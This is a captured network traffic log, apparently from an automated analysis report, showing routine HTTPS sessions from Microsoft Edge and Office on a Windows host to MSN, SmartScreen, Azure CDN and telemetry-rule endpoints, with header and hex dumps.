33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.7	49859	104.117.182.72	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:53 UTC	634	OUT	GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:17:53 UTC	518	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1t99ka Last-Modified: Fri, 01 Nov 2024 18:01:14 GMT X-Source-Length: 20811 X-Datacenter: eastus X-ActivityId: ee99dc34-c4cc-40d2-beb4-909b60878009 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 20811 Cache-Control: public, max-age=344705 Expires: Fri, 15 Nov 2024 18:02:58 GMT Date: Mon, 11 Nov 2024 18:17:53 GMT Connection: close
2024-11-11 18:17:53 UTC	15866	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 90 00 00 01 90 08 02 00 00 00 0f dd a1 9b 00 00 0c 3e 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 10 20 80 80 94 d0 9b 20 22 25 80 94 10 5a 00 e9 45 b0 11 92 00 a1 c4 18 08 2a 76 74 51 c1 b5 8b 08 d8 d0 55 11 c5 0e 88 1d b1 b3 28 f6 be 58 50 50 d6 c5 82 5d 79 93 02 ba ee 2b df 9b 7c 33 f3 e7 9f 33 ff 39 73 ee dc 32 00 d0 4f f0 24 92 1c 54 13 80 5c 71 be 34 36 24 80 39 26 39 85 49 ea 02 28 a0 c2 df 50 40 e7 f1 f3 24 ec e8 e8 08 00 cb 40 ff f7 f2 ee 06 40 e4 fd 55 47 b9 d6 3f c7 ff 6b d1 12 08 f3 f8 00 20 d1 10 a7 09 f2 f8 b9 10 1f 00 00 af e2 4b a4 f9 00 10 e5 bc c5 94 7c 89 1c c3 0a 74 a4 30 40 88 17 ca 71 86 12 57 c9 71 9a 12 ef 51 d8 c4 c7 72 20 6e Data Ascii: PNGIHDR>iCCPICC ProfileHWXS[ "%ZE*vtQU(XPP]y+\|339s2O$T\q46$9&9I(P@$@@UG?k K\|t0@qWqQr n
2024-11-11 18:17:53 UTC	4945	IN	Data Raw: 3d f7 52 13 58 62 fb e9 21 5b 75 03 17 1c 54 6d 19 c9 a8 68 28 42 9d 72 18 59 2e 37 2a 0c 62 39 95 49 f4 d3 4f 3f dd 5c 95 c7 7f 5e 26 47 55 66 a3 ea 36 56 f1 51 09 75 c5 13 0a 63 96 51 3e 61 c6 4e 30 31 02 fb 25 ac ba ef f1 51 a3 42 71 d6 c4 60 4d d0 b4 22 a3 45 5b 46 7d 48 2d fb 24 ab b3 11 2c 12 46 4c d6 28 60 28 2f fd 89 ad 4e 3b ed b4 70 0a 37 30 5d 55 33 e8 8b ab f4 61 23 b0 4f 04 f6 4b 58 2e 2f c8 4a 25 4c 43 94 67 ef b3 5a 9d fd c0 11 18 09 68 2c 3c 41 d3 0e 86 ab 53 52 ba 3f f9 a6 85 af a7 7b ea 87 ad bc 55 63 45 55 e2 a9 dc ba b0 55 85 57 e3 55 5a 6e 04 0e 04 81 03 20 ac 72 d0 12 0e a4 66 5d c8 c1 22 50 bc b3 28 36 fa d0 96 53 95 ac 04 4a 67 05 4d 1e e7 99 a2 fa ae ef fa 2e 2f d3 58 05 2a c8 0a 49 b9 63 89 ac 13 61 49 46 40 5b 8b 77 92 17 17 ed Data Ascii: =RXb![uTmh(BrY.7b9IO?\^&GUf6VQucQ>aN01%QBq`M"E[F}H-$,FL(`(/N;p70]U3a#OKX./J%LCgZh,<ASR?{UcEUUWUZn rf]"P(6SJgM./XIcaIF@[w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.7	49849	20.110.205.119	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:53 UTC	1271	OUT	GET /c.gif?rnd=1731349070731&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=d656a9437545442c897859c057721d8a&activityId=d656a9437545442c897859c057721d8a&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=FC0747ADCE0F43758A5B7B7221317D35&MUID=021090CBA3AE69423B8585FFA2C968AB HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=021090CBA3AE69423B8585FFA2C968AB; _EDGE_S=F=1&SID=2F40E15050D86AB42E21F46451C96B10; _EDGE_V=1; SM=T
2024-11-11 18:17:53 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=021090CBA3AE69423B8585FFA2C968AB; domain=.msn.com; expires=Sat, 06-Dec-2025 18:17:53 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=021090CBA3AE69423B8585FFA2C968AB; domain=c.msn.com; expires=Sat, 06-Dec-2025 18:17:53 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Mon, 18-Nov-2024 18:17:53 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Mon, 11-Nov-2024 18:27:53 GMT; path=/; SameSite=None; Secure; Date: Mon, 11 Nov 2024 18:17:52 GMT Connection: close Content-Length: 42
2024-11-11 18:17:53 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.7	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:53 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:53 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 7cd11897-e01e-0052-7bd5-33d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181753Z-174f784596886s2bhC1EWR743w000000058g00000000p6c5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:53 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.7	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:53 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:53 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: b85e0199-b01e-0098-60d5-33cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181753Z-174f7845968cpnpfhC1EWR3afc00000004u000000000sxz3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:53 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.7	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:53 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:53 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 78b03aef-101e-000b-52d5-335e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181753Z-174f7845968cdxdrhC1EWRg0en000000056000000000p09g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:53 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.7	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:53 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:53 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:53 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: c056ec92-701e-001e-03d5-33f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181753Z-174f7845968t42glhC1EWRa36w00000004zg00000000hw1n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:53 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.7	49860	4.150.155.223	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:53 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 725 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiTGF6WThZVDd1aFFyY2F5SitjSUNIdz09IiwgImhhc2giOiJmbU1DZWFJRjZJUT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-11 18:17:53 UTC	725	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-11 18:17:53 UTC	248	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:53 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:a302ffdc-66e2-4f15-929a-164afd2d2584
2024-11-11 18:17:53 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.7	49863	23.101.168.44	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:53 UTC	1000	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=021090CBA3AE69423B8585FFA2C968AB&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=34f361101e4448d2f18eca4fd6d0414b HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=021090CBA3AE69423B8585FFA2C968AB; _EDGE_S=F=1&SID=2F40E15050D86AB42E21F46451C96B10; _EDGE_V=1
2024-11-11 18:17:53 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2662 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132806-T700343875-C128000000002115349+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002115349+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 11 Nov 2024 18:17:53 GMT Connection: close
2024-11-11 18:17:53 UTC	2662	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 4c 61 6b 65 20 4c 6f 75 69 73 65 2c 20 43 61 6e 61 64 61 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 4c 61 6b 65 2b 4c 6f 75 69 73 65 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Lake Louise, Canada\",\"cta\":\"https:\/\/www.bing.com\/search?q=Lake+Louise

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.7	49865	13.107.246.40	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:53 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:17:54 UTC	557	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:54 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 2bcc90d3-901e-004b-1766-34599d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241111T181753Z-174f7845968n2hr8hC1EWR9cag00000004z0000000008qn3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-11 18:17:54 UTC	15827	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-11 18:17:54 UTC	16384	IN	Data Raw: ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be 44 96 